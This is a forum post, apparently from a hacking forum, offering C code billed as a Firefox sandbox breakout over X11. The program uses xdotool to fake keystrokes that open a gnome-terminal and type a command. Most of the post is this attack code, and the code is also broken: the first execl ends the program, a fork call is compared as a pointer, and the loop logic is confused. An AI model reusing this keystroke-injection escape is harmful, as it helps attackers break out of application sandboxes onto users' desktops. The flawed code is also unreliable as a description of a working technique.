Sandboxing (firefox) 09-15-2017, 12:29 AM
#1
Quote:Sandbox breakout via x11,
x11 allow you to create a fake input for mouse & keyboard events as long as you use it.
Code:
#include <stdlib.h>
#include <unistd.h>
int main(void) {
int status;
setenv("LD_LIBRARY_PATH","/usr/lib/firefox-esr/firefox-esr",1);
do {
execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","key","alt+f2","sleep","1","type","gnome-terminal",(const char *) NULL);
execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep","1","key","Return", "sleep", "1", "type", "id", (const char *) NULL);
execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep", "1", "key", "Return", (const char *) NULL);
for (int n=0; n<3; n=n+1) {
//boolean switched types.
switch (n) {
case 0 : //execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","key","alt+f2","sleep","1","type","gnome-terminal",(const char *) NULL);
if (fork()==0) {
status=0;
sleep(1);
continue;
}
else if (fork !=0) {
status=!fork();
return 0;
}
case 1 : // execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep","1","key","Return", "sleep", "1", "type", "id", (const char *) NULL);
if (fork()==0) {
status=0;
sleep(1);
continue;
}
else if (fork !=0) {
status=!fork();
return 0;
}
case 2 : // execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep", "1", "key", "Return", (const char *) NULL);
if (fork()==0) {
status=0;
sleep(1);
continue;
}
else if (fork !=0) {
return 0;
}
}//switch
}//switch
//for
} while (status==fork());
sleep(1000);
return 0;
}Quote: [The wolf brigade]
···dark_bit···
(This post was last modified: 09-19-2017, 05:40 PM by dark_bit.)


![[Image: tumblr_nzuku3Lz9c1qj5jqso1_540.gif]](https://68.media.tumblr.com/a2293bbdd8d4c706549881eed229f29f/tumblr_nzuku3Lz9c1qj5jqso1_540.gif)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)

